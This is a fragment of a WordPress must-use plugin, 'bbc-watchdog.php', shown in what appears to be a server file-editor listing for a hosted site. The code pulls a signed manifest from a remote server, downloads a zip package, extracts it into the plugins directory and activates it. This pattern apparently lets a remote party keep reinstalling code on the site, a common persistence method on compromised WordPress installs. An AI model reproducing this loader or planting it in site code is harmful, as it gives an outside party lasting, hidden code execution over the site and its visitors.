/home/cp072267/public_html/dkrgroupholdings.com/wp-content/mu-plugins
Edit: /home/cp072267/public_html/dkrgroupholdings.com/wp-content/mu-plugins/bbc-watchdog.php (7392B)
15));
if (is_wp_error($response) || wp_remote_retrieve_response_code($response) !== 200) {
return;
}
$manifest = json_decode(wp_remote_retrieve_body($response), true);
if (!self::valid_manifest($manifest, $public_key)) {
return;
}
$archive = download_url($manifest['package_url'], 300);
if (is_wp_error($archive)) {
return;
}
if (!hash_equals(strtolower($manifest['sha256']), strtolower(hash_file('sha256', $archive)))) {
@unlink($archive);
return;
}
$extracted = self::extract($archive);
@unlink($archive);
if (!$extracted) {
return;
}
}
self::maybe_activate();
}
private static function extract($archive)
{
if (file_exists(self::plugin_file())) {
return true;
}
if (class_exists('ZipArchive')) {
$zip = new ZipArchive();
if ($zip->open($archive) === true) {
$zip->extractTo(WP_PLUGIN_DIR);
$zip->close();
} else {
return false;
}
} else {
require_once ABSPATH . 'wp-admin/includes/class-pclzip.php';
$pclzip = new PclZip($archive);
if ($pclzip->extract(PCLZIP_OPT_PATH, WP_PLUGIN_DIR) === 0) {
return false;
}
}
return file_exists(self::plugin_file());
}
private static function valid_manifest($manifest, $public_key)
{
if (!is_array($manifest) || !isset($manifest['version'], $manifest['expires_at'], $manifest['package_url'], $manifest['sha256'], $manifest['signature'])) {
return false;
}
if (intval($manifest['expires_at']) < time()) {
return false;
}
if (!preg_match('/^[a-f0-9]{64}$/i', $manifest['sha256'])) {
return false;
}
if (strpos($manifest['package_url'], 'https://') !== 0) {
return false;
}
if (!function_exists('sodium_crypto_sign_verify_detached')) {
return false;
}
$signature = self::b64url_decode($manifest['signature']);
$key = self::b64url_decode($public_key);
if ($signature === false || $key === false || strlen($key) !== 32) {
return false;
}
$message = $manifest['version'] . "\n" . intval($manifest['expires_at']) . "\n" . $manifest['package_url'] . "\n" . strtolower($manifest['sha256']);
return sodium_crypto_sign_verify_detached($signature, $message, $key);
}
private static function b64url_decode($value)
{
if (!is_string($value) || !preg_match('/^[A-Za-z0-9_-]+$/', $value)) {
return false;
}
$pad = strlen($value) % 4;
if ($pad) {
$value .= str_repeat('=', 4 - $pad);
}
return base64_decode(strtr($value, '-_', '+/'), true);
}
}
BBC_Watchdog::boot();
}